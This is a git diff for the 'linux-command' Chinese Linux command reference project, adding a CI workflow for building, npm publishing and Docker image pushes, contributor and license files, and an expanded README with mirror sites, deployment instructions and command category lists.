diff --git a/.gitattributes b/.gitattributes index 23c651c27ea..518eefdd844 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1 +1,3 @@ -*.js linguist-language=html \ No newline at end of file +*.js linguist-language=html +*.ejs linguist-language=html +*.md linguist-detectable=true diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 00000000000..abe8b762fe5 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,3 @@ +ko_fi: jaywcjlove +buy_me_a_coffee: jaywcjlove +custom: ["https://www.paypal.me/kennyiseeyou", "https://jaywcjlove.github.io/#/sponsor"] diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 00000000000..c8dcecc907c --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,230 @@ +name: CI +on: + push: + branches: + - master + +jobs: + build-deploy: + runs-on: ubuntu-latest + permissions: + contents: write + id-token: write + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 20 + registry-url: 'https://registry.npmjs.org' + + - name: Generate Contributors Images + uses: jaywcjlove/github-action-contributors@main + id: contributors + with: + filter-author: (renovate\[bot\]|renovate-bot|@github-actions-bot|dependabot\[bot\]) + avatarSize: 42 + + - name: Modify README.md + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: README.md + trim_whitespace: false + openDelimiter: '' + closeDelimiter: '' + body: | + ${{steps.contributors.outputs.htmlList}} + + - name: Modify contributors.ejs + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: template/contributors.ejs + trim_whitespace: false + openDelimiter: '' + closeDelimiter: '' + body: | + ${{steps.contributors.outputs.htmlList}} + + - run: npm install + - run: npm run dash + - run: cp CONTRIBUTORS.svg .deploy + + - name: Build Linux Command + run: | + npm install + npm run dash + cp CONTRIBUTORS.svg .deploy + + - name: Create Tag + id: create_tag + uses: jaywcjlove/create-tag-action@main + with: + package-path: ./package.json + + - name: Get Tag Version + id: tag_version + uses: jaywcjlove/changelog-generator@main + + - name: Update Dash Feed + run: | + echo "${{steps.create_tag.outputs.versionNumber}}https://jaywcjlove.github.io/linux-command/linux-command.docset.tgz" > .deploy/linux-command-docset.xml + + - name: Generate Changelog + id: changelog + uses: jaywcjlove/changelog-generator@main + with: + filter-author: (小弟调调™) + filter: (^[\s]+?[R|r]elease)|(^[R|r]elease) + + - name: Create Release + uses: ncipollo/release-action@v1 + if: steps.create_tag.outputs.successful + with: + allowUpdates: true + artifacts: '.deploy/linux-command.docset.tgz' + draft: false + token: ${{ secrets.GITHUB_TOKEN }} + name: ${{ steps.create_tag.outputs.version }} + tag: ${{ steps.create_tag.outputs.version }} + body: | + [![](https://img.shields.io/badge/Open%20in-unpkg-blue)](https://uiwjs.github.io/npm-unpkg/#/pkg/linux-command@${{steps.create_tag.outputs.versionNumber}}/file/README.md) [![npm bundle size](https://img.shields.io/bundlephobia/minzip/linux-command)](https://bundlephobia.com/result?p=linux-command@${{steps.create_tag.outputs.versionNumber}}) + + ```bash + npm i linux-command@${{steps.create_tag.outputs.versionNumber}} + ``` + + ${{ steps.changelog.outputs.compareurl }} + + ${{ steps.changelog.outputs.changelog }} + + + Document linux-command@${{ steps.changelog.outputs.tag }}: + https://raw.githack.com/jaywcjlove/linux-command/${{ steps.changelog.outputs.gh-pages-short-hash }}/index.html + + + ## Docker + + [![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command)](https://hub.docker.com/r/wcjiang/linux-command) + + 轻松通过 `docker` 部署 `linux-command` 网站。 + + ```bash + docker pull wcjiang/linux-command + ``` + + ```bash + docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest + # Or + docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest + ``` + + 在浏览器中访问以下 URL + + ```bash + http://localhost:9665/ + ``` + + - run: rm -rf .deploy/linux-command.docset + + - name: Deploy + uses: peaceiris/actions-gh-pages@v4 + with: + commit_message: '[${{steps.tag_version.outputs.tag}}] ${{ github.event.head_commit.message }}' + github_token: ${{ secrets.GITHUB_TOKEN }} + publish_dir: ./.deploy + user_name: github-actions[bot] + user_email: github-actions[bot]@users.noreply.github.com + + - run: npm publish --access public --provenance + continue-on-error: true + name: 📦 linux-command publish to NPM + env: + NODE_AUTH_TOKEN: ${{secrets.NPM_TOKEN}} + + # Create Docker Image + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v3 + - name: Login to Docker Hub + uses: docker/login-action@v3 + with: + username: ${{ secrets.DOCKER_USER }} + password: ${{ secrets.DOCKER_PASSWORD }} + + - name: Build and push image:latest + uses: docker/build-push-action@v6 + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:latest + + - name: Build and push image:tags + uses: docker/build-push-action@v6 + if: steps.create_tag.outputs.successful + with: + push: true + context: . + platforms: linux/amd64,linux/arm64 + tags: ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image in Github + # - name: Login to the GitHub Container Registry + # uses: docker/login-action@v2 + # with: + # registry: ghcr.io + # username: ${{ github.actor }} + # password: ${{ secrets.GITHUB_TOKEN }} + + # - name: Build and push image:latest + # uses: docker/build-push-action@v6 + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:latest + + # - name: Build and push image:tags + # uses: docker/build-push-action@v6 + # if: steps.create_tag.outputs.successful + # with: + # push: true + # context: . + # platforms: linux/amd64,linux/arm64 + # tags: ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image + # - name: Docker login + # run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }} + + # - name: Build linux-command image + # run: | + # rm -rf .deploy/linux-command.docset.tgz + # docker image build -t linux-command . + + # - name: Tags & Push image(latest) + # run: | + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:latest + # docker push ${{ secrets.DOCKER_USER }}/linux-command:latest + + # - name: Tags & Push image + # if: steps.create_tag.outputs.successful + # run: | + # echo "outputs.tag - ${{ steps.changelog.outputs.version }}" + # docker tag linux-command ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + # docker push ${{ secrets.DOCKER_USER }}/linux-command:${{steps.changelog.outputs.version}} + + # # Create Docker Image in Github + # - name: Login to GitHub registry + # run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin + + # - name: Build docker image + # run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + + # - name: Publish to GitHub registry + # run: docker push ghcr.io/jaywcjlove/linux-command:latest + + # - name: Tag docker image (beta) and publish to GitHub registry + # if: steps.create_tag.outputs.successful + # run: | + # echo "version: v${{ steps.changelog.outputs.version }}" + # docker tag ghcr.io/jaywcjlove/linux-command:latest ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} + # docker push ghcr.io/jaywcjlove/linux-command:${{steps.changelog.outputs.version}} diff --git a/.gitignore b/.gitignore index ad151e74516..4e1aadc23a9 100644 --- a/.gitignore +++ b/.gitignore @@ -1,4 +1,5 @@ node_modules -.deploy npm-debug.log +package-lock.json +.deploy .DS_Store diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000000..a43f4472839 --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,61 @@ +# 贡献者约定 + +感谢您对本项目提交贡献,为了便于维护者管理,请各位维护人员遵循以下约定 + +## 如果您希望提交一个命令 + +命令的存放位置在 `./command/` 文件夹中 + +1. 在这里创建一个 `[CommandName].md` 文件,比如 `pacman.md` +2. 打开文件,键入指令在终端中执行的命令 +3. 第二行输入三个等号 +4. 创建二级标题“补充说明”,并且在这个标题下面创建至少下面几个三级标题 + - 语法 + - 选项 + - 参数 + +按照预期,文档应该是这样的 + +```markdown +CommandName +=== + +这里是命令介绍,它可以被搜索到,如果你有个流行的应用,包含多个命令,可放到这里,以便搜索到对应的命令 + +## 补充说明 + +**CommandName命令** 是用于演示的文档 + +### 语法 + +(具体编写文档时,请使用 shell 代码块包裹以下内容) + +CommandName <-abcdABCD> <必选参数> [可选参数] + +### 选项 + +(具体编写文档时,请使用 shell 代码块包裹以下内容) + +-a xxxxx +-b xxxxx +... +-C xxxxx +-D xxxxx + +### 参数 + +(具体编写文档时,请使用 shell 代码块包裹以下内容) + +可选参数:一般情况下可以不给出 + +``` + +## 如果您希望维护前端页面 + +- 请确保您的代码可以完整的运行在最新的 Chromium 和 Safari 浏览器 (#489) + +## 对于提交信息的其他规范 + +- 约定式提交 +- 中文文案排版指北 +- 扉页 — Google 开源项目风格指南 diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000000..a060675f82f --- /dev/null +++ b/Dockerfile @@ -0,0 +1,7 @@ +# https://lipanski.com/posts/smallest-docker-image-static-website +# https://github.com/forksss/docker-static-website +FROM wcjiang/docker-static-website:latest + +# Copy the static website +# Use the .dockerignore file to control what ends up inside the image! +COPY ./.deploy . diff --git a/LICENSE b/LICENSE new file mode 100644 index 00000000000..99a28f58ecb --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright © 2019 小弟调调™ + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md index 0ea1a1523e7..657615edf87 100644 --- a/README.md +++ b/README.md @@ -1,66 +1,189 @@

- - + + +

Linux Command

-Linux Command ---- +[![Buy me a coffee](https://img.shields.io/badge/Buy%20me%20a%20coffee-048754?logo=buymeacoffee)](https://jaywcjlove.github.io/#/sponsor) +[![CI](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml/badge.svg)](https://github.com/jaywcjlove/linux-command/actions/workflows/ci.yml) +[![Web](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) +[![weibo](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) +[![NPM Download](https://img.shields.io/npm/dm/linux-command.svg?style=flat)](https://www.npmjs.com/package/linux-command) +[![jsdelivr cdn](https://data.jsdelivr.com/v1/package/npm/linux-command/badge)](https://www.jsdelivr.com/package/npm/linux-command) +[![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) + +当前仓库搜集了 600 多个 Linux 命令,是一个非盈利性的仓库,生成了一个 web 网站方便使用,目前网站没有任何广告,内容包含 Linux 命令手册、详解、学习,内容来自网络和网友的补充,非常值得收藏的 Linux 命令速查手册。版权归属原作者,对任何法律问题及风险不承担任何责任,没有任何商业目的,如果认为侵犯了您的版权,请来信告知。我不能完全保证内容的正确性。通过使用本站内容带来的风险与我无关。当使用本站时,代表您已接受了本站的使用条款和隐私条款。 + +## 赞助支持 + +非常感谢一直以来支持我开源项目的朋友们!如果您认可我的工作,欢迎通过 [赞助](https://wangchujiang.com/#/sponsor) 我或下载并使用我开发的 [macOS 应用](https://wangchujiang.com/#/app) 来支持我。以下是我个人独立开发的 macOS 应用列表: + +

+ Vidwall + Mousio Hint + Mousio + Musicer + Audioer + FileSentinel + FocusCursor + Videoer + KeyClicker + DayBar + Iconed + RightMenu Master + Quick RSS + Quick RSS + Web Serve + Copybook Generator + DevTutor for SwiftUI + RegexMate + Time Passage + Iconize Folder + Textsound Saver + Create Custom Symbols + DevHub + Resume Revise + Palette Genius + Symbol Scribe +

-[![](https://jaywcjlove.github.io/sb/ico/linux.svg)](https://jaywcjlove.github.io/linux-command/) [![](https://jaywcjlove.github.io/sb/ico/weibo.svg)](http://weibo.com/pc175) +## Web 版本 +[Github Web](http://jaywcjlove.github.io/linux-command/) | [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) | [Githack](https://raw.githack.com/jaywcjlove/linux-command/gh-pages/index.html) | [Statically](https://cdn.statically.io/gh/jaywcjlove/linux-command/gh-pages/index.html) -540多个 Linux 命令,内容包含 Linux 命令手册、详解、学习,值得收藏的 Linux 命令速查手册。请原谅我写了个爬虫,爬了他们家的数据 [linuxde.net](http://man.linuxde.net) ,同时进行了编辑,增加了一些数据。对他们的辛勤劳动表示敬意,个人希望能本地离线搜索,不喜欢广告,希望得到干净漂亮的预览界面,业余和工作时间需要使用大量的命令,所以干了一件看似比较愚蠢的事情,在回头有空的时候估计能做一个App?,或者是命令行帮助工具?但目前还没有计划... +扫描二维码移动端预览搜索,也可通过二维码下面链接地址打开使用,下面网站是通过 Github Action 自动更新。 -[Github Web版](https://jaywcjlove.github.io/linux-command/) | [开源中国Web版](http://jaywcjlove.gitee.io/linux-command/) | [其它Web版](http://linux-command.composer-proxy.org/) | [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases) | [Android版本实现](https://github.com/Ernest-su/LinuxCmd.git) | [Mac/Win/Linux](https://github.com/haloislet/linux-command) | [Chrome插件](https://github.com/jaywcjlove/oscnews) +⚠️ [Gitee Web](http://jaywcjlove.gitee.io/linux-command/) 存在 `违禁违规` 内容问题 [#283](https://github.com/jaywcjlove/linux-command/issues/283)。 -#### Chrome 插件 +[![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261718-ab585380-d529-11eb-86e1-e97cdcd78150.png)](https://jaywcjlove.github.io/linux-command/) -可在[源码仓库](https://github.com/jaywcjlove/oscnews)预览效果,[Github下载 oscnews.crx 文件](https://github.com/jaywcjlove/oscnews/releases) 或者[开源中国下载 oscnews.crx 文件](https://gitee.com/jaywcjlove/oscnews/releases) 也可通过 Chrome Web Store 下载: +预览搜索:**https://git.io/linux** -[![Chrome Web Store 下载](http://jaywcjlove.github.io/sb/download/chrome-web-store.svg)](https://chrome.google.com/webstore/detail/oscnews/iheapfheanfjcemgneblljhaebonakbg) +[![Linux 命令大全](https://user-images.githubusercontent.com/1680273/123261829-ce830300-d529-11eb-8cea-a39059b972dd.gif)](https://jaywcjlove.github.io/linux-command/) + +你可以随意部署 web 版,这非常简单,只需要克隆 [`gh-pages`](https://github.com/jaywcjlove/linux-command/tree/gh-pages) 分支代码到你的静态服务就可以了。你也可以将 [`command`](https://github.com/jaywcjlove/linux-command/tree/master/command) 目录中的 Markdown 文件拿去自己生成 HTML。还可以使用下方 docker 方法部署 web 版。 + +⚠️ 你们拿过去部署的静态网站,还是希望挂个 GitHub 地址,这样大家共同维护命令文档,让文档更加完善,更加丰富,当然你删除本站所有信息相关信息,其实我也不太在意,默认允许你们随意搞,我不负任何负责。如果您也部署了一份,可以将网址放到下面 :)。 + +由于中国国内访问,时常打不开,你可以访问下面镜像网站(国内打不开的不再收录)。推荐自己的[镜像网站 #649](https://github.com/jaywcjlove/linux-command/issues/649) + +**推荐使用的镜像 web 版本** + +[**`linuxsearch.largeinfo.cc`**](http://linuxsearch.largeinfo.cc) +[**`srebro.cn`**](https://linux.srebro.cn/) +[**`getaifun.com`**](https://getaifun.com/linux) +[**`linux.devonline.net`**](http://linux.devonline.net/) +[**`man.zch.ooo`**](https://man.zch.ooo/) +[**`linux.mmoke.com`**](https://linux.mmoke.com) +[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/) +[**`linux.zyimm.com`**](http://linux.zyimm.com/) +[**`linux.vovuo.com`**](https://linux.vovuo.com/) +[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[`renye.net`](https://renye.net/) +[`diqi.org`](https://diqi.org/) +[`linux.alistnas.top`](https://linux.alistnas.top/) +[`nenufm.com`](https://www.nenufm.com/linux-command/) +[`linux.jiangyang.online`](https://linux.jiangyang.online/) + +**其它 web 版本** + +[`lylme.com`](https://linux.lylme.com/) +[`linux.ftqq.com`](https://linux.ftqq.com/) +[`linux.gaomeluo.com`](https://linux.gaomeluo.com) +[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826) +[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/) +[`262235.xyz`](https://262235.xyz/linux-command/) +[`cmsblogs.cn`](https://linux.cmsblogs.cn/) +[`loquy.cn`](https://www.loquy.cn/linux-command/) +[`buyao.vip`](https://demo.buyao.vip/linux/) +[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`utils.fun`](https://linux.utils.fun/) +[`51tools.info`](https://51tools.info/linux/) + +## 其它版本 + +- [KDE/Krunner](https://github.com/roachsinai/krunner-linuxcommands) +- [微信小程序版本](https://github.com/jaywcjlove/linux-command/issues/260),由 [**@Matz Yang**](https://github.com/MatzYang) 提供 [#260](https://github.com/jaywcjlove/linux-command/issues/260) +- [Chrome 插件](https://github.com/jaywcjlove/oscnews),[下载 crx 文件安装](https://github.com/jaywcjlove/oscnews/releases) 或者通过 Chrome Web Store 下载 +- [Raycast 版本](https://www.raycast.com/jaywcjlove/linux-command),([**#338**](https://github.com/jaywcjlove/linux-command/issues/338)) +- [Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases),`Dash` 版本 [#91](https://github.com/jaywcjlove/linux-command/pull/91),可配合 `alfred` 使用,[下载 .docset.tgz](https://github.com/jaywcjlove/linux-command/releases) 文件,由 [**@SHANG殇**](https://github.com/xinshangshangxin) 提供 +- [Android 版本下载](https://github.com/Ernest-su/LinuxCmd/releases) +- [Mac/Win/Linux](https://github.com/haloislet/linux-command) +- [`@chenjiandongx/how`](https://github.com/chenjiandongx/how) Python 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129),由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 +- [`@chenjiandongx/pls`](https://github.com/chenjiandongx/pls) Golang 版 [#129](https://github.com/jaywcjlove/linux-command/issues/129),由 [**@陈键冬**](https://github.com/chenjiandongx) 提供 + +## Docker 部署 + +[![Docker Image Version (latest by date)](https://img.shields.io/docker/v/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Image Size (latest by date)](https://img.shields.io/docker/image-size/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) [![Docker Pulls](https://img.shields.io/docker/pulls/wcjiang/linux-command?logo=docker)](https://hub.docker.com/r/wcjiang/linux-command) + +轻松通过 docker 部署 linux-command 网站。 + +```bash +docker pull wcjiang/linux-command +``` -[![Chrome Web Store 下载](./assets/chrome-extensions.gif)](https://github.com/jaywcjlove/oscnews) +```bash +docker run --name linux-command --rm -d -p 9665:3000 wcjiang/linux-command:latest +# Or +docker run --name linux-command -itd -p 9665:3000 wcjiang/linux-command:latest +``` -#### 官方 Web 版本 +在浏览器中访问以下 URL -扫描二维码移动端预览搜索,也可通过二维码下面链接地址打开使用。 +```bash +http://localhost:9665/ +``` -[![Linux 命令大全](./assets/qr.png)](https://jaywcjlove.github.io/linux-command/) +## Vercel -预览搜索:**https://git.io/linux** +可以点击下面按钮一键部署至 [Vercel](https://vercel.com): + +[![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/clone?repository-url=https://github.com/jaywcjlove/linux-command) + +
+部署结果 + +![](./assets/vercel.png) + +
+ +通过 Vercel 分配的域名访问,或者自行在设置中绑定域名。 -[![Linux 命令大全](./assets/Linux.gif)](https://jaywcjlove.github.io/linux-command/) +## 宝塔面板 -#### Alfred 版本 +可通过宝塔面板应用商店快速部署 linux-command -[Alfred 版本下载](https://github.com/jaywcjlove/linux-command/releases), 下图是界面效果。 +
+部署步骤 -[![Linux 命令大全](./assets/alfred.png)](https://github.com/jaywcjlove/linux-command/releases) +### 前提 -## 目录 +* 仅适用于宝塔面板 9.2.0 及以上版本 +* 安装宝塔面板,前往[宝塔面板](https://www.bt.cn/new/download.html)官网,选择正式版的脚本下载安装 -- [Linux命令分类](#linux命令分类) - - [文件管理](#文件管理) File Management - - [文件传输](#文件传输) File Transfer - - [文档编辑](#文档编辑) File Editor - - [备份压缩](#备份压缩) File Compression - - [系统管理](#系统管理) System Management - - [系统设置](#系统设置) System Settings - - [网络通讯](#网络通讯) Network Communication - - [磁盘管理](#磁盘管理) Disk Management - - [磁盘维护](#磁盘维护) Disk Maintenance - - [设备管理](#设备管理) Device Commands - - [电子邮件与新闻组](#电子邮件与新闻组) - - [其他命令](#其他命令) Misc Commands -- [Node调用](#node调用) -- [Linux学习资源整理](#linux学习资源整理) - - [社区网站](#社区网站) - - [知识相关](#知识相关) - - [软件工具](#软件工具) - - [中国开源镜像站点](#中国开源镜像站点) - - [游戏玩家发行版](#游戏玩家发行版) +### 部署 +1. 登录宝塔面板,在左侧菜单栏中点击 `Docker` +2. 首次会提示安装`Docker`和`Docker Compose`服务,点击立即安装,若已安装请忽略。 +3. 安装完成后在`Docker-应用商店-实用工具`中找到 `linux-command`,点击`安装`,也可以在搜索框直接搜索`linux`。 +4. 设置域名等基本信息,点击`确定` +* 说明: + * 名称:应用名称,默认`linuxcommand_随机字符` + * 版本选择:默认`latest` + * 域名:如您需要通过域名访问,请在此处填写您的域名 + * 允许外部访问:如您需通过`IP+Port`直接访问,请勾选,如您已经设置了域名,请不要勾选此处 + * 端口:默认`3000`,可自行修改 + * CPU 限制:0 为不限制,根据实际需要设置 + * 内存限制:0 为不限制,根据实际需要设置 +5. 提交后面板会自动进行应用初始化,大概需要`1-3`分钟,初始化完成后即可访问。 + +### 访问 linux-command + +* 如果您填写域名,请在浏览器输入您的域名访问,如`http://demo.linux-command`,即可访问 `linux-command` 页面。 +* 如您选择`IP+端口访问`请在浏览器地址栏中输入域名访问 `http://<宝塔面板IP>:6806`,即可访问 `linux-command` 页面。 + +
## Linux命令分类 @@ -68,7 +191,7 @@ Linux Command ### 文件传输 -bye、ftp、ftpcount、ftpshut、ftpwho、ncftp、tftp、uucico、uucp、uupick、uuto +bye、ftp、ftpcount、ftpshut、ftpwho、ncftp、tftp、uucico、uucp、uupick、uuto、scp ### 备份压缩 @@ -94,13 +217,13 @@ alias、apmd、aumix、bind、chkconfig、chroot、clock、crontab、declare、d adduser、chfn、chsh、date、exit、finger、free、fwhois、gitps、groupdel、groupmod、halt、id、kill、last、lastb、login、logname、logout、logrotate、newgrp、nice、procinfo、ps、pstree、reboot、renice、rlogin、rsh、rwho、screen、shutdown、sliplogin、su、sudo、suspend、swatch、tload、top、uname、useradd、userconf、userdel、usermod、vlock、w、who、whoami、whois -### 文档编辑 +### 文本处理 -col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、wc +awk、col、colrm、comm、csplit、ed、egrep、ex、fgrep、fmt、fold、grep、ispell、jed、joe、join、look、mtype、pico、rgrep、sed、sort、spell、tr、uniq、vi、wc ### 网络通讯 -dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup +dip、getty、mingetty、ppp-off、smbd(samba daemon)、telnet、uulog、uustat、uux、cu、dnsconf、efax、httpd、ip、ifconfig、mesg、minicom、nc、netconf、netconfig、netstat、ping、ping6、pppstats、samba、setserial、shapecfg(shaper configuration)、smbd(samba daemon)、statserial(status ofserial port)、talk、tcpdump、testparm(test parameter)、traceroute、tty(teletypewriter)、uuname、wall(write all)、write、ytalk、arpwatch、apachectl、smbclient(samba client)、pppsetup ### 设备管理 @@ -114,28 +237,40 @@ archive、ctlinnd、elm、getlist、inncheck、mail、mailconf、mailq、message yes -## 使用 -### Node调用 +## 开发使用 -``` +可以通过 `npm` 安装 [`linux-command`](https://www.npmjs.com/package/linux-command) 包,包含所有命令的 markdown 文本,和一个[索引文件](dist/data.json)。 + +```bash npm install linux-command ``` - ```js -var comm = require("linux-command") -console.log("---->",comm.ls) +var comm = require("linux-command"); +console.log("---->", comm.ls); -var alias = require("linux-command/command/alias.md") -console.log("---->",alias) // markdown string +var alias = require("linux-command/command/alias.md"); +console.log("---->", alias); // markdown string ``` -### CDN +你也可以通过 CDN 来访问索引数据,和对应的命令详细内容,我将更新内容定期发布版本,提供大家使用,[UNPKG](https://unpkg.com/linux-command/) 带上版本号,将锁定版本访问,删除版本号请求数据,将会自动重定向最新版本。 -https://unpkg.com/linux-command/dist/data.json 命令总 JSON 数据 -https://unpkg.com/linux-command/command/alias.md 对应命令详情(Markdown)数据 +```shell +# 命令索引 JSON 数据 +https://unpkg.com/linux-command/dist/data.json +# 对应命令详情(Markdown)数据 +https://unpkg.com/linux-command/command/<命令名称>.md +``` + +你也可以通过 Github 的 Raw 来,获取最新的内容 +```shell +# 命令索引 JSON 数据 +https://raw.githubusercontent.com/jaywcjlove/linux-command/master/dist/data.json +# 对应命令详情(Markdown)数据 +https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命令名称>.md +``` ## Linux学习资源整理 @@ -147,6 +282,7 @@ https://unpkg.com/linux-command/command/alias.md 对应命令详情(Markdown - [鸟哥的linux私房菜](http://linux.vbird.org/) - 非常适合Linux入门初学者看的教程。 - [Linux公社](http://www.linuxidc.com/) - Linux相关的新闻、教程、主题、壁纸都有。 - [Linux Today](http://www.linuxde.net) - Linux新闻资讯发布,Linux职业技术学习!。 +- [X-CMD](https://www.x-cmd.com/) - Shell + AWK 为核心增强原生命令输出以及交互体验,各种命令以及现代化软件包的介绍和使用教程,每日科技新闻资讯,欢迎浏览关注! ### 知识相关 @@ -162,19 +298,17 @@ https://unpkg.com/linux-command/command/alias.md 对应命令详情(Markdown ### 软件工具 - [超赞的Linux软件](https://www.gitbook.com/book/alim0x/awesome-linux-software-zh_cn/details) Github仓库[Zh](https://github.com/alim0x/Awesome-Linux-Software-zh_CN) [En](https://github.com/VoLuong/Awesome-Linux-Software) -- [程序员喜欢的9款最佳的Linux文件比较工具](http://os.51cto.com/art/201607/513796.htm) -- [提高 Linux 开发效率的 5 个工具](http://www.codeceo.com/article/5-linux-productivity-tools.html) -- [你要了解的11款面向Linux系统的一流备份实用工具](http://os.51cto.com/art/201603/508027.htm) -- [16个很有用的在线工具](http://www.simlinux.com/archives/264.html) -- Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) - - [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”,可以查看PDF,还支持各种漫画书格式 - - [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 - - [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 - - [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 - - [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 - - [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 - - [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 - - [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件,广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 + +Adobe软件的最佳替代品 [原文在这里](https://linux.cn/article-8928-1.html) + +- [Evince (Adobe Acrobat Reader)](https://wiki.gnome.org/Apps/Evince) 一个“支持多种文档格式的文档查看器”,可以查看PDF,还支持各种漫画书格式 +- [Pixlr (Adobe Photoshop)](https://pixlr.com/) 一个强大的图像编辑工具 +- [Inkscape (Adobe Illustrator)](https://inkscape.org/zh/) 一个专业的矢量图形编辑器 +- [Pinegrow Web Editor (Adobe Dreamweaver)](https://pinegrow.com/) 一个可视化编辑制作 HTML 网站 +- [Scribus (Adobe InDesign)](https://www.scribus.net/) 一个开源电子杂志制作软件 +- [Webflow (Adobe Muse)](https://webflow.com/) 一款可以帮助用户不用编码就可以快速创建网站的谷歌浏览器插件。 +- [Tupi (Adobe Animate)](http://www.maefloresta.com/portal/) 一款可以创建HTML5动画的工具。 +- [Black Magic Fusion (Adobe After Effects)](https://www.blackmagicdesign.com) 一款先进的合成软件,广泛应用于视觉特效、广电影视设计以及3D动画设计等领域。 ### 中国开源镜像站点 @@ -183,13 +317,10 @@ https://unpkg.com/linux-command/command/alias.md 对应命令详情(Markdown - 搜狐开源镜像站:http://mirrors.sohu.com/ - 北京交通大学:http://mirror.bjtu.edu.cn/ \<教育网荐\> - 兰州大学:http://mirror.lzu.edu.cn/ \<西北高校FTP搜索引擎\> -- 厦门大学:http://mirrors.xmu.edu.cn/ - 